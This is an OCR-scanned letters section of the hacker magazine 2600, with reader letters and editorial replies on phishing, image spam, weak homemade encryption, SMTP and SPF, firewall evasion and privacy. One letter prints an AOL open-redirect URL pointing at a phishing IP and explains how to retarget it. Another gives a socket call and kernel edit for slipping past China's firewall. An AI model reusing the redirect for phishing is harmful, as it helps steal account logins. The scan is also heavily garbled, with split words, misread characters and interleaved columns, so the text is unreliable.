bypassed th i s  and s imp ly  ca l led me with the n u mber 
they had on record to verify I was affi l i ated with the 
account on record after I answered the phone. 

The n u mber they had on record was for a land 
l i ne account that forwards cal ls  to my mob i le .  I 
found  th i s  an i nterest i ng m i n i -system that veri fied 
trust between myse lf  and th i s  lady in the Ph i l ip­
p i nes.  I t  a l so showed me (as I ' ve exper ienced many 
t i mes before with telecom m u n i cations compan ies) 
the po l i cy i nconsi stenc ies with i n  the same company 
scattered around regions from one side of the p l anet 
to the other. 

Somehow in some b i zarre way th i s  relates to 
why I get so many requests from Ph i l ipp ine  g i r l s  at 
Fr iendster, wh ich  i s  why I even bother keep i ng the 
accou nt ope n !  

JZ 
Danger 

accou nt with a company I don ' t  have an account  
with,  but  th i s  one was d i fferent. I i nspected the l i n k  
that was sent i n  the ema i l .  I was s u rpr i sed t o  see 
that the l i n k  started with www.ao l .com.  Many users 
unfa m i l i a r  with p h i s h i n g  m ight lose the i r  account i n  
t h i s  type o f  p h i s h i n g  attempt because o f  t h e  fam i l i ar  
www.aol .com address. Th i s  p h i sh i ng attempt uses a 
red i rect featu re conven ient ly prov i ded by AOL .  At 
th i s  t ime I am unab le  to exp l a i n  the extens ive use of 
n u m bers and commas. 
http://www . aol.com/ams/ 
c lickThruRedirect . adp ? 1 0 7 3 7 621 0 0 , 2 14 
7 7 79757 % D 721475684 1 3,https://202 . 143 
. 1 32 . 1 7 9/www . neteller . com/index . html 

As of th i s  wr i t ing the AOL red i rect is sti l l  work i ng.  
S imply change the l i n k  after the l ast comma and you 
can red i rect to any page you l i ke. 

So, you ask, what i s  the prob lem?  The problem 
comes when a ma l ic ious  user wants to phish for 
AOL accou nts. If a m a l i c ious  user sets up an AOL­
type log i n  page, this type of attack cou l d  be very 
successfu l .  

I ema i l ed adm i n @aol .com regard i n g  th i s  issue 
and,  as expected, rece ived no response. Hopefu l l y  
b y  prov i d i ng t h e  i nformation t o  t h e  masses t h e  secu­
r i ty  i ssue w i l l  eventua l ly be resolved . 

dN ight 

Dear 2600: 
I ' m  not exactly sure i f  th i s  letter is re levant .. Bu t  

I thought th i s  was  so stup id  I had to  ment ion  i t . .  
Congress i s  try i ng  to  pass a l aw cal led the A n i ma l  
Enterprise Terror ism Act  (AHA) and i t  has one very 
very very ser ious prob lem.  If th i s  law were to pass 
i t  wou l d  make l ega l activ i t ies such as peacefu l 
protests, consumer boycotts, med i a  campa i gns, 
leg is lat ive proposa ls, or even tel l i ng the pub l i c  what 
happens in puppy m i l ls ,  factory farms, or can ned 
hunt ing  fac i l i t ies, able to be c l ass i fied as acts of 
terror i sm.  Whatever happened to free speech?  The 
r i ght of peacefu l protest? Sure, th i s  rea l l y  has noth i n g  
t o  do w i t h  hack ing .  But  i t  does dea l w i t h  suppress ion 
of  our  bas i c  r ights .  So I thought I 'd  wr i te i n  a sma l l  
letter about i t  because I be l ieved i f  anyone wou ld  be 
open m i nded enough to ca re, they ' d  probably read 
th i s  magaz ine .  

ch3rry 
This was signed into law on November 27, 2006. 

Regardless of whether you believe that  this will crim­
inalize free speech or whistleblowing, it seems a bit 
of a reach to inject the word "terrorism " into this 
topic. That  right there should have been enough to 
derail this. 

Weirdness 

Dear 2600: 
Dear 2600: Has anyone e l se rece ived anyth ing  l i ke th i s ?  It 

I recently received an ema i l  that was an  obvious appears to be some sort of garbled rant  about  tech-
p h i s h i ng attempt. The ema i l  asked me to log i nto no logy . . .  but the attached i mage [mutu a l l y.g i l l  at 
my Nete l ler account. The problem is,  I don ' t  have the bottom has maku.ob on it . . .  wh ich  is the trad i ng 
a N ete l ler  account. I ' ve received many of these symbol for makeup.com l i m ited . I am guess i ng  th i s  is 
types of emai l s  in the past ask ing me to log i nto my j u st a way to bypass spam f i l ters. Any thoughts? 
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---------- Forwarded message ----------

From : Ambrose Hartman <clyh(iiJresourceaz. com> 
Date: Dec 4, 2006 2 : 1 6 AM 
)uhject: Punch-card ballots, optical-scan ballots, 
and absentee ballots are all subject to qu('stion. 

We all use it for the same thing, talking, commu­
nicating, and connecting. Their intent is also to 
launch attacks against major companies, and now 
attack each other. What have they and their parents 
learned from everything? 

My phone works perfectly for what I do. 
7he only fa ult with this nedr utopian situation 

is that  computers newr, ever, ewr, act the way we 
Ivant them to. 

Computers dre popping up everywheff', the 
world is b,'coming wirc,less, and now you can do 
almost ('wry thing online. This all has me completely 
sick of elections. 

drlecter 
7his is apparently the latest craze in spam. Text is 

grabbed from websites, onlinc books, news stories, 
and even weather reports and then sent out tn an 
email to various people. Most 'pam detectors won't 
catch this since the text appears to be legitimate. The 
spam is then included in attachments (image files, 
h,'nce the term "image spam"),  which people to this 
day still open blindly 

A dvice Sought 

Dear 2600: 
We' re a group of young hacktivi sts from Canada 

and we a re goi ng to be start ing our own pr i nted mag. 
We ' re go i n g  to be b reak ing ground wi th some top 
notch drtic les and  I ' m  sure a few of o u r  a rt ic les wi I I  
mention 2600. When they do, I ' l l  ema i l  you aga i n  
t o  let you know, as w e  wou l d  love t o  reference a n d  
te l l  peop l e  about you r  mag. Here ' s  the th i ng:  I a m  
interested i n  hear ing a short story about how 2600 
got started and put on the stands a l l  over. Any t ips?  
Tha n ks in  advance for the advice.  

Alexander Chase 
It sure wouldn't be a short story The thing about 

starting a magazine is that  it takes a really long time 
to develop from scratch. We began very small and 
grew to a size we were comfortable with. 7hat's  the 
most important bit of knowledge we can share WIth 
any nC'w publication. If you start too big, you will 
h�rn yourselves out and go brok<' in the process. 
That 's assuming you aren 't already big with lots of 
money to invest. But then you 're not really a zine. 
The key is patience and determination, coupled with 
d good dose of insanity. We wish you luck and look 
forward to seeing what  you come up with. 

Following Up 

Dear 2600: 
I j ust rea l i zed upon Goog l i ng my past screen 

names that a l etter I wrote a wh i l e  ago was pub l ished 
i n  you r  magaz i ne but I d i d n ' t  rece ive my free 
subscr iption ! Th is  is probably because I stopped 

check ing  my last ema i l  address and moved on to 
other emai I s .  

Marcio 
It's also probably because we don't offer free 

subscriptions for lettt'rs. Look at how many letters 
we gefl We would go bankrupt extremely fast. We 
offer free subscriptions for articies, which generally 
go into far more detail than letters. /I; however, you 
were to send liS a two paragraph article and expect 
a free subscription for that  (as many do) ,  it would 
likely gl't converted into a letter if it were to get 
printed at all. 

Dear 2600: 
J u st a qu ick update to the artic le  " Hacktiv i sm i n  

the Land Without a Server. " I ' ve hedrd from someone 
who went a l l  the way through that you ' l l  have to 
enter a non-zero quant i ty in the form nf a javascr ipt 
var iab le  or Paypa l refuses to cdrry out the transac­
tinn. However, $0.01 i s  enough to satisfy i t . 

\8/ 

Dear 2600: 
Th is  i s  d i rected towards Da le  Thorn regard i n g  h i s  

art ic l e  "Algorith m i c  Encryption Without Math . "  
I t ' s  good that you 've taken an  in terest i n  cryptog­

raphy and  I hope you w i l l  conti nue and learn . With 
that i n  m i nd, th i s  i s  not i ntended as an  attack.  I too 
i nvented "hri l l i a nt" encryption schemes in my youth 
on ly  to eventu a l l y  learn that good encryption is 
h a rd for a reason .  I ' m  not an  encrypt ion expert, but 
someone l i ke B ruce Schneier i s  u n l i ke ly  to respond 
to you because he's seen these c l ass ic m i stakes a 
gaz i l l ion t imes, so you ' re stuck with me. 

I ' m  working  from you r  descr ipt ion,  rather than 
vour code. Let ' s  see, where to beg i n ?  . 

One Ti me Pads (OTP) a re cons idered unbreak­
able beca use there i s  no determ i nab le  re lationsh ip  
between the  c lear  text and the  c i pher text as long 
as i t ' s  only used once. Hence, One Ti me Pad .  The 
reason one t ime pads are not common ly  used i s  that 
the pad must be secure lv  de l ivered through sepa­
rate channe ls .  Th i s  can be a PITA. Your  approach 
of generat i ng  a pseudo random transpos it ion array 
requ i res that the rec i p ient a l so have the array v ia  
s i m i la r  PITA channe ls, p l u s  by  us ing  it  more than  
once, you  negate i ts potentia l  va lue  as a One Ti me 
Pad .  Al l  pain, no ga i n !  

You r  reference t o  us ing  other parameters, such as 
fi lenames, to fo i l  pred icta b i l ity i s  good . Th i s  i s  ca l led 
a "sa l t . "  The pu rpose of a sa l t  i s  to defeat " Ra i n bow 
Tables . "  Without a sa lt, one can pre-generate b i l l ions  
of poss ib le  c l ear  text to encrypted text re lat ionsh ips  
i n  advance over a period of  months  or years so 
that  when vou need to actu a l l y  break a message, a 
s imp le  l ookup i nto you r  Ra inbow Tab le  can b reak 
it  in seconds because the b rute force was a l ready 
done in adva nce. Even with a salt .  i t  has to be done 
r ight to be fu l l y  effective. M i crosoft got it wrong with 
the i r  Office l i ne, so you ' re i n  good company. Last 
but not least on the subj ect of sa l t, the secur i ty it 
br i ngs i s  str ict ly a i med at Ra i n bow Tab les .  It does not 
add to the effective key space, i .e . ,  make encryption 
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stronger, because by its nature the sa l t  is a known 
and knowable va l ue.  

Now to the heart of you r  approach:  You ' ve 
defi ned a transpos it ion fu nct ion v ia  you r  pseudo 
random array such that: 
CLEARTEXT_A -> TRANSPOSIT ION_l -> 

Let ' s  st ick wi th i n  u pper case Eng l i sh  for ease of 
d i scuss ion .  50 you may have somet h i ng l i ke th i s :  
"A" ->TRANSPOSI T I ON_l -> "X" 
" B "  ->TRANSPOSI T I ON 1 -> "N" 

Th is  is a val id encrypti;;-n scheme. It even has a 
name. I t ' s  ca l l ed a Caesar c ipher. It dates back to 
at least the t ime of J u l i us Caesar and is what most 
puzzle books use for fun these days. Now to be fa i r, 
you can work i n  a l a rger space than A to Z, but that ' s  
a s imp le  l i near growth that w i l l  make it  awkward for 
humans  with penc i l  and paper, but i sn ' t  a s ign if icant 
key space d i fference. 

You r  next addit ion i s  to support m u l t ip le  level 
encrypted encryptions with TRANSPOSIT ION_2, 
TRANSPOSITION 3 ,  TRANSPOSI T I ON 
n .  You state that iI's necessary to know each tranS:: 

pos it ion (password or passnumber) and  the order 
they were used so that it can be reversed . That ' s  
i n correct as far as t h e  attacker i s  concerned. You use 
this i nformation as a stra i ghtforward way to reverse 
you r  algorithm and decrypt. However, the attacker 
cou ld  care less about you r  passwords and order. He 
on ly  needs to break the c ipher, and that ' s  not the 
same th ing !  

The reason i s  because there ex ists a TRANS­
POSITION _x that is the resu l t  of a l l  of you r  prev i ­
ous ly  appl ied transpos it ions.  I n  mathemat ica l  terms, 
th i s  i s  ca l led a group.  The net effect i s  that mu l t ip le  
l evel encrypt ions i n  you r  tech n ique  add absolutely 
noth i ng to the encrypt ion secur i ty. 

Let ' s  conti nue  the above example  by runn ing  i t  
through two more l ayers of your encrypt ion .  
Password 2 
"X" -> TRANSPOSITION_ 2 -> 

" F " 

"N" ->TRANSPOSI T I ON_ 2 -> 
" Q " 

Password 3 
II F " 

->TRANSPOSITION_ 3 -> " M "  
u Q " 

-> TRANSPOSI T I ON_ 3 -> " G " 
N ow where you wou ld  reverse "M" to "F "  to 

"X "  to get "A" because you know the sequence and 
the keys, as the attacker, I ' m  left with the fo l lowing  
puzzle :  
"A" ->TRANSPOSI TION_x -> " M "  
" B "  ->TRANSPOSI T I ON x -> " G " 

Th i s  is the same Caes;r c ipher as before! The 
transpos it ion array i s  unknown, but i t  was unknown 
before so mu l t ip le  encryptions added noth i ng to the 
secur i ty. I t 's  sti l l  j ust a Caesar c i pher!  By break ing  it, 
I i m p l ic i t ly  produce the TRANSPOSI T I ON_x array 
that you never actua l l y  used, but is the mathemat ica l  
equ iva l ent of you r  n- Ievel encrypt ions, but  a I I  i n  one 
step. 

Aga in ,  p lease don ' t  take th i s  as an  attack. I ' ve 
lost track of the n umber of th i ngs I ' ve i nvented on ly  
to  d i scover I ' d  been beaten to  i t, someti mes by  

hundreds of  years. Learn and get better. 
Dave 

Dear 2600: 
I wou l d  l i ke to add another techn ique  to Toka­

c h u ' s  art i c le  "The Not-So-Great F i rewa l l  of C h i n a . "  
Th i s  i s  a techn ica l  so lut ion which shou l d  work for 
a l l  network connect ions.  I t  a lso does n ' t req u i re any 
mod i ficat ion of the TCPfl P software on the other 
end of the l i n k, nor  does it  req u i re any thought from 
the user once i t ' s  set up. S i nce the C h i nese fi rewa l l  
i s  complete ly  state less, i t  won ' t  catch a "forb idden 
word" which i s  spl i t  across mu l t ip le  packets. The 
most re l iab le  way to do th is  i s  to make your data 
packets rea l l y, rea l l y  sma l l .  To make the remote 
computer send sma l l  TCP segments, te l l  you r  kernel 
to advert ise a sma l l  w i ndow. On L i nux, for example, 
th i s  can be done with setsockopt (socket, 
getprotobyname("tcp")->pyroto, TCP_ 
WINDOW_CLAMP, &winsize, sizeof(int » 
where w ins ize is an i nteger variab le (not a constant ! )  
conta i n i ng t h e  w i ndow s ize w h i c h  y o u  want to 
advert i se, in bytes . The tcp(7) manpage says that 
"the [ L i nux]  kerne l  i m poses a m i n i m u m  [w i n dow] 
s i ze of 50CK_M I N_RCVB U Ff2 ", defi ned to be 2 5 6  
i n  - kernelfi n c l udefnetfsock . h .  I n  a n y  case, changi ng 
that l i ne from 256 to 2 should be suffi c ient .  

The most effic ient  strategy i s  to advert i se a 
wi ndow one byte less than the shortest forb idden 
str ing you plan on us ing.  Of cou rse, us ing a r id icu­
lous ly sma l l  w i ndow s i ze comes with some pena l ­
t i e s .  E a c h  five ( o r  whatever) bytes o f  data w i l l  come 
with its own IP header (24 bytes) and TCP header 
(24 bytes). Further, every such segment must be 
acknowledged by the receivi ng end before the 
sender i s  a l l owed to send any more data, c reat ing  a 
rou nd-tr ip  delay. Assuming  a wi ndow of five bytes, 
th i s  i n flates a three k i lobyte (3072 byte) transmiss ion 
i nto 6 1 5 rou nd tr ips, requ i r i ng  the sender  to transmi t  
32 , 592 bytes and  the receiver to transmi t  2 9, 5 2 0  
bytes of acknowledgments, n o t  i n c l u d i n g  i n it i a l  a n d  
fi na l  handshak ing (5YNfF I N ) .  T h e  la rgest penalty, 
however, comes from the over 600 rou n d  tri p t i mes 
that have to pass for the transfer to complete, a s l ight 
i n c rease over the less than ten rou nd tr ips wh ich  
wou ld  be requ i red for the same transmiss ion us ing  
larger ( - 1 024 byte) segments. 

I wou l d  a l so l i ke to s h i l l  for the Museum of 
Commu n icat ions (http:/ /www . museumofcom 
munications . org /,  + 1 206 767 3 0 1 2 )  i n  Seatt le .  
They have what i s  probably the best  col lect ion of 
te lephone equ i pment i n  the wor ld .  I t ' s  a l so one of 
the best p laces to b l ue box - the docents most l i ke ly  
won ' t  object, so long as you don ' t  break a nyth i ng. 
They ' d  probably even be glad to help you, though 
don ' t  expect to be ab le to dial  outs ide. I f  you ask 
n i cely you can read the i r  amazingly comprehen­
s ive l i b rary of Bel l  System Pract ices. They 've got 
mu l t ip le  switches: a N umber 1 Crossbar, a N u mber 
5 Crossbar, a margi na l l y  fu nction ing  N u m ber 3 E55, 
and a rare Panel switch .  

Duncan Smith 
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Dear 2600: 
" H ow to Get Around Cabie/DSL Lockdowns" i n  

2 3 :4 i s  most ly  on the r ight track - you can i ndeed 
send SMTP from you r  I SP-hosted e-ma i l  account 
through you r  home mach ine  wh i l e  on the roam 
u s i ng the method descr ibed (for most cable/DSL 
prov iders). You may even have good resu lts in the 
short term. However, I wou l d n ' t  recommend i t  as a 
rel i ab le  l ong-term method for three reasons: 

1 )  Wh i l e  it 's true that many I S Ps b l ock i nbound 
connect ions to port 2 5  of the i r  dynamic  subscr iber 
IP pool ,  i t ' s  a l so true that ( i ncreas i ngly)  many of 
them a l so b lock outbound connections from the i r  
dynam i c  I P  pool  to port 2 5  of remote hosts other 
than the I S P ' s  SMTP servers. What that means is that 
your home SMTP server may or  may not be able to 
de l iver ma i l to remote hosts, depend ing  on whether 
your ISP b l ocks those outbound con nect ions .  Th i s  
i s n ' t  because your I S P  i s  r u n  b y  tota l i tar ian bastards 
(a l though i t  may be); they' re try ing  to keep spam 
bats from u s i ng the ir  (and your) bandwidth.  Thank  
them for th i s .  

2 )  Most of the  major spam fi l ters out there (e.g., 
SpamAssass i n )  w i l l  ass ign a much h igher score to 
any message relayed from a dynam i c  IP address. 
Most d i st r ibuted spambot networks are ru n n i ng on 
u n secu red home computers wi th  dynamic  I Ps .  What 
that means i s  that even i f  you th i n k  you r  message 
has been del ivered, the receiver ' s  spam fi l ter may 
have d ropped i t  on the floor because of the or ig i ­
nat ing IP address. (Th i s  i s  true even i f  you ' re us ing  a 
dynamic  D N S  server to g ive you rse lf  a t idy- loo k i ng 
A record .)  

3 )  On a related note, i f  you ' re sen d i ng from 
youraddress@example.org and example .org has a 
regi stered SPF record i n  D N S, you r odds of gett ing  
through spam f i l ters are d i m i n i shed st i l l  fu rther. 
As an example, ADELPH IA. N ET has SPF set up as 
fol l ows: 
$ dig adelphia. net txt 
;; ANSWER SECTION: 
ade lphia. net. 41456 IN TXT " v=spfl fiX 
-ip4:68. 1 68.78.0/24 ip4:68.1 68.75. 
-0/24 - al l " 

What that means is that if you aren ' t  i n  one of the 
two IP b l ocks l i sted above, you aren ' t  author ized to 
send ma i l from *@adelph ia . net, and  any spam fi lter 
that checks SPF (wh ich i s  i ncreasi ng ly common) is 
more l i ke ly  to score your message as spa m .  (Sadly, 
Comcast j u st bought Ade lph ia, and  it seems they 
either have n ' t  heard of SPF yet or they can ' t  keep 
track of the i r  acqu i s i t ions fast enough to be bothered 
to keep an up-to-date SPF record for COM CAST. 
NET. See "tota l i tar ian bastards" above. )  

What  to do? One of two th i ngs: 
I )  Configu re you r  SMTP server to use one of you r  

I SI" s SMTP servers as a smart host. ( I n  y o u r  M ic rosoft 
SMTP setup, go u nder De livery > Advanced 
and enter your cab l e/DS L  prov ider ' s  SMTP server as 
you r  smart host. Do not check the box to attempt 
d i rect del ivery fi rs! . )  You ' l l  then be re lay i ng through 
you r  I S P ' s  ma i l  system and won ' t  need to worry 

about any of the three th i ngs above. 
2) Scrap the whole scheme and con nect to you r  

I S P ' s  webma i l  serv ice over HTTPS. That ' s  why i t ' s  
there .  

L ive long and hack on .  
McViking 

This raises a point among those of you who send 
us email from wacky places. Please be sure to not do 
something that's  likely to anger a spam filter because 
there's often little way for us to detect it. Tha t  means 
avoiding the above, not using spam-like phrases 
( "make money fast! "), or sending weird a ttachments 
with no corresponding text. 

Dear 2600: 
I was k i n d  of d i sappoi nted that I sent you a 

h igh  resol ut ion p icture of a payphone i n  Queens, 
New York and haven't even received any type of 
response. 

Troy 
We've been meaning to set up an auto-responder 

on the payphones@260U.com address to acknowl­
edge receipt of submissions. But you should also 
know that we 're looking for foreign payphones and, 
although Queens is the most multicultural county in 
all of the United States, it doesn't qualify as foreign. 
And there is certainly nothing exotic or mysterious 
about Verizon. 

Gra titude 

Dear 2600: 
As a I i stener to Off The Hook and subscr i ber to 

2600, I ' ve been aware for a long t ime of how he lpfu l 
you fol ks a re. Recent ly I found  another example  
wh i l e  l ook ing  at the web page of my g i r lfr iend ' s  
col lege: 

"Need some assistance even quicker? Then you 
can call the Help Desk at extension 2600 from on 
campus, or from off campus a t  (BOO) xxx-xxxx, X 
2600. " 

Glad  you ' re there to he lp  her out !  
Barry 

It would be fun to gather a list of the various 
offices/people that different extension 26005 
connect to in various places. More fun if we can 
inspire people in charge to always assign that exten­
sion to something interesting. 

Dear 2600: 
I am a 1 5 -year-o l d  sophomore h igh school 

student. I am a very fa i thfu l and loya l reader of 2600 
and I wou l d  l i ke to let you know some th i ngs that 
your magazi n e  has accompl i shed in my l i fe .  When 
I was about 1 .1  years old my father came to me and 
said someth ing  along the l i nes of "Alex' I found  
a ' hacker' magaz i ne a t  Borders wh i l e  looki ng a t  
some PC ones .  I know you ' re i nterested i n  that k i n d  
o f  stuff so I got i t  for y o u  - here . "  I was abso l ute ly  
th r i l led to  actua l l y  see a magaz i ne about my ma in  
i nterest. S i nce then, you r  magaz ine  has  never fa i led 
to i nsp i re and motivate me. For example, I started to 
t i n ker with e lectron ic  dev ices and use packet sn i ffers 
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to get a better u n dersta n d i ng of how I nternet i nterac­
t ion rea l ly works - a l l  at the age of 1 4 . I have gone so 
far between these two to th ree years that I ' m  amazed 
that i t  even happened. S i nce the 2600 writers 
usua l ly use tech n ica l  l anguage to such a degree, it 
forces you to dig in and find out what they rea l ly 
mea n .  Th i s  is exactly  what I d id  and it tu rned out 
to be a l itt le  h umorous because your magaz ine was 
a bit too advanced for a 1 4-year-old to understand .  
I constant ly read books and art ic les on computers 
and, more specif ica l l y, hardware, networki ng, proto­
cols, packets, lockp ick i ng, red box i ng, etc. I t  has j ust 
been such an  extraord i nary journey these years that 
I fe l t  compel led to write a letter to you guys pra i s i ng 
your efforts for freedom of the m i n d  and i nd iv idua l ,  
privacy, and how we shou l d  never stop our  th i rst 
for knowledge and our cur ios i ty about the world 
in genera l .  I have learned much s i nce my fi rst copy 
and I wanted to te l l  you guys to not stop whatever 
you are doing.  And yes, I do rea l ize the hardsh i ps 
we are goi ng through today concern ing  the absol ute 
parano ia  and abus iveness of the general p u b l i c  and 
the government themselves about  the mere word 
" hacker. "  So, a l l  in a l l , thank you guys for do ing such 
a great job and keep i t  rea l .  

Tr4/\!ce 
And after reading all of the various horror stories 

involving parents, you must realize that  you 're quite 
lucky to have a father who supports your curiosity. 
We spend a lot of time pointing out the bad things 
around us so it's especially important to acknowl­
edge the exceptions. 

Thoughts 

Dear 2600: 
I ' ve been read i n g  you r  journa l  for about two 

years. I am not a hacker, but probably cou l d  be with 
some spare t ime and the r ight resou rces . 

My i nterest is ma i n l y  i n  the p h i l osophy of 2600 
and its concern with pr ivacy, computer users' r ights, 
and the corporate mach i nes that i nvade pr ivacy 
u s i ng services as a l u re to log onto doma ins .  Th i rd 
party track ing is ,  i n  my book, corporate hack ing  of 
my persona l  computer. I f  I were doi ng the same to 
Google  as they appear to have the r ight to do to me, 
I wou l d  in a l l  probab i l ity be arrested. As a resu l t, I 
ignore whatever they spew at me as far as market ing  
goes, part ly  because I 'm v ind ict ive, but more i mpor­
tant ly because it i s n ' t  relevant to a l l  my part icu la r  
c i rcumstances. Th us, I be l i eve, the des i re to  create 
the b ig  new crysta l ba l l  is a profound ly  foo l i s h  
i dea, and t h e  losers a r e  sma l l  o n l i ne reta i lers a n d  
l o c a l  services w h o  th i n k  Google i s  he lp i ng. But  i s  
i t  rea l lv?  

W� hear  so much d i s i nformat ion about  every­
th ing  that market ing i n formation about market ing i s  
merely propaganda.  My pred ict ion:  o n l i ne reta i l  w i l l  
b u i ld ,  b u t  w i l l  a l so destroy, sectors o f  t h e  economy. 
Is there a depress ion loom i ng? 

skoobedy 

Dear 2600: 
F i rst, l et me get my nose brown here by say ing  

you r  magaz i n e  i s  exce l l ent. 
Now that that's out of the way, I ' m  a 44-year­

o ld  ma le  who d i d  phreak back i n  the 1 980s (us ing  
950 numbers to  c a l l  long  d i stance B B Ses) so I ' m  
not squeaky c lean here, b u t  that was a youthfu l 
d igress ion .  

Hav ing  sa id that, I feel you  a re  hypocr i tes. I ' l l  
exp l a i n :  You say that hack i ng (or us i ng  v u l nerab i l i ­
t ies) i n  t h e  system shou l d n ' t  b e  for ga i n .  B u t  i n  2 3 :2 ,  
you pr i nted a letter from Zen master who wanted 
to know how to "hack i nto ' Fastpass ' mach i nes" 
at D i sney Wor ld .  Yet, two pages before, you had a 
letter from Jeff who was rep ly ing  to an ea r l i er letter 
to Jack whose father wou l d n ' t  let h i m  s u bscr ibe to 
2600 because of the word "hacki ng." Jeff sa id  to let 
Jack ' s  father read the magaz i ne .  I f  I was Jack ' s  father 
and saw the letter from Zenmaster, that wou ld  re i n ­
force my bel i efs about hacki ng, thereby perpetuat ing 
the myth about  hackers being bad people .  There are 
a lot of c losed m i nds out there.  We need to open 
them, not add dead bolts .  

Computer Bandit 
You generally don't open closed minds by keeping 

your mouth shut. And it would be wrong for us to 
restrict knowledge and tell people not to ask certain 
questions because there was no seemingly legitima te 
reason for asking. As far as we 're concerned, there 
is always a legitimate reason : curiosity. And while 
we 're not kidding ourselves into believing that  there 
aren 't lots of people with ulterior motives who could 
also benefit from such knowledge, if we help others 
learn how things work we 're doing what we set out 
to do. Some parents get that. Many, sadly, don't. But 
we can 't change who we are in order to appeal to 
people who don't like who we are. There 's too much 
of that in our culture already. 

Dear 2600: 
For severa I months now, a company has been 

runn ing  rad io  advert i sements for thei r  Ident i ty Theft 
Protect ion Serv ice (http://www . lifelock . 
com). Presumably they contact the major cred i t  
bureaus and p l ace a ca l l  fi rst lock on obta i n i ng 
any new cred it .  Th i s  is a l l  f ine and dandy. As far as 
I know you Can contact them yourse l f  and do the 
same without trust ing some th i rd party company to 
protect you r  persona l  i nformat ion . 

The commerc i a l  has some dude say ing :  "My 
name i s  B l a h  B l a h  and my SSN i s  1 2 3 -45-6789 . . .  " 
and goes on to have a test imon ia l  from another 
stdt ing that  they did not t h i n k  t h e  serv ice wou l d  
amount t o  anyth i n g  when o n e  n ight they got a ca l l  
ask ing i f  they were app ly ing  for cred i t  someplace . . . .  

The prob lem I see i s  that obta i n i ng cred i t  i s  not 
the on ly  reason someone wou l d  wan t  you r  iden­
t i ty. What about peop le seek ing employment under 
assu med names? As I see i t  nobody puts a lock on 
what i s  reported to the I RS and Soc i a l  Secur i ty. 
Presumably those agencies can detect fraud by 
not ic ing  the fi l i ngs are either somehow i n correct 
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where the name does not match the SSN and/or the 
address i s  d i fferent.  But  what about i ntentiona l  acts 
i ntended to attack the i nd iv idua l ?  Let ' s  say someone 
looks up  the dude ' s  address and verif ies the name 
and SSN match this guy, uses a va l i d  taxpayer 1 0  
n umber for, l et's say the i r  l east loved company ( i .e . ,  
Wal ma rt), and fi l es a 1 099 to the I RS, state treasu ry, 
and h i s  actu a l  res idence. How i s th i s  guy and the 
target company goi ng to prove this i s  an  i ncorrect 
fi l i ng? How wou l d  you fee l  i f  you received a 1 099 
that does not withhold any taxes stat i ng that you had 
earned $20 m i l l ion  th i s  past year contract ing  for a 
company you d idn ' t ?  

What a mess ! 
Exo 

We 'll likely get a whole lot of mail from accoun­
tants who will explain how this all works. We find the 
LifeLock approach interesting. On their website, the 
CEO of the company posts his real Social Security 
Number as proof of how secure he feels with their 
product. It almost sounds like a challenge . . . .  

Dear 2600: 
Th i s  is a response to anybody out there who 

th i n ks that hack i ng MySpace is a worthy past ime.  
I ask what purpose i s  there i n  th i s ?  There i sn ' t  any 
usefu l knowledge to be ga i ned. As far as I can tel l ,  
t he  on ly  i nformation about me tha t  can be gleaned 
by gett ing  my password i s  maybe a password . No 
SSN,  no f inanc ia l  cred it .  And a l so, why are  they 
u s i ng the porta l pages? That was somet h i ng I thought 
about doing a long t ime ago when I d i d n ' t  know 
what eth ica l  hack i ng was, or was j ust bored. I f  
people wanted to know more about MySpace, then 
do i t  in a man ner that does n ' t  b loat my b u l let i n s  with 
S i l l y  posts about free r i ngtones.  My two cents. 

psion 
Anytime someone says there isn 't worthwhile 

information to be found in pursuing something, 
someone else always manages to come along and 
prove them wrong. The fact is that  any bit of infor­
mation we give up about ourselves is potentially a 
gateway to a whole lot of other information. That's 
why protecting anything that's private is  so important  
and if there's a way of defeating this on any level, we 
need to know about it. 

Dear 2600: 
I recent ly saw the fo l lowi ng posted in MySpace: 
" I  just posted a bulletin about hackers hiding in 

our pictures. I followed the directions in the bulletin 
and found one picture that  I had to delete. Here 's the 
deal: Hackers are getting into our picture galleries 
and posting inappropriate pics behind our original 
pics. To find out if this happened to you, follow these 
steps: 

Go to Edit profile. On the right hand side near 
the top, you have the option to view profile, etc. 
Click "Safe Edit Mode. " Then click Images. If you see 
your caption, but a different picture, that  pic needs 
to be deleted. To delete it, go to your home page. 
Click add/edit photos. Then delete the picture with 

the caption that had the wrong pic. When you 're in 
add/delete pics, the pic you uploaded will show. It 
still needs to get deleted. The hacker has their pic 
hiding behind your original picture. Tricky IiI people, 
eh! ?  

I f  only these people could use their smarts for 
good!! This world would be a happier place. 

You should probably change your password after 
you delete the pics, just to be on the safe side. " 

Okay, I have seen th i s  menta l i ty for qu ite some 
t ime now hav i ng been i nto computer secur i ty for a 
wh i l e  . . .  the way that the " hacker" has become some­
t h i ng of the ghost of a monster, l u rk ing in the "back 
a l leys" of the I nternet, wai t i ng  to take you r  sou l to 
I nternet he l l .  I t  i s  regrettab le  that the med i a  portrays 
th i s  i m age and that a l l  of us  have j u st bought it 
w i thout quest ion, even when some of these same 
people that buy the image of the evil hacker pose 
as the open-m i n ded and "watchers of the watchers," 
so to speak .  

The  name of  the  hacker has been bastard i zed 
from so many angles, yet the or ig i na l  i ntention of 
"hacki ng" was to i mprove secur i ty by exploring 
vulnerabilities and i n form i n g  those i n  charge of our  
secur i ty about  these v u l nerab i l i t ies .  G ranted, any 
knowledge can be taken for i l l  pu rposes but that 
does n ' t  mean that we shou l d  abandon exp lorat ion 
for  the sake of some strange "safety." 

Perhaps these b u l let ins cou l d  j u st as eas i l y  
have rep l aced t h e  word "hacker" w i t h  "vanda l "  o r  
"th ief" and t h e  message wou ld  contextual ly  rema i n  
the same. B u t  I suppose that b y  now the mean i n g  
o f  t h e  word h a s  been changed b y  our  med i a  (that 
i nC identa l l y  w i l l  v i l i fy anyth i ng with a margi na l  
vo ice to  obta i n  rat i ngs, equ a l i ng ad do l l a rs ) .  F i rst 
i t  was "witches," then "Tu rks" or "Jews," after that 
"com m u n i sts" and "gays," and now "hackers" and 
"terror i sts." 

Maybe you cou l d  read up  for the hour that i t  
wou l d  take you to  understand the most  s i mp l e  of  
secur i ty concepts that  you cou l d  use to he lp  protect 
you rself, i n stead of l iv i ng in fear  of some i ntangib l e  
threat t h a t  a l most a lways i s  some young teenage 
k i d  who s imp ly  wants to have a l itt le  fu n and cause 
some m i sch ief. K ids have been doing that ever s i nce 
humans  have I ived i n  a society. 

Rev. Troy (SubGenius) 
More so than an actual person engaging in 

mischief is the mere specter of someone engaging in 
behavior that  our shrill-voiced minders convince us 
is cause for panic. In other words, we literally obsess 
over scenarios that  aren 't playing out but which one 
day in a worst-case scenario might. 

It doesn't matter what  story the media is 
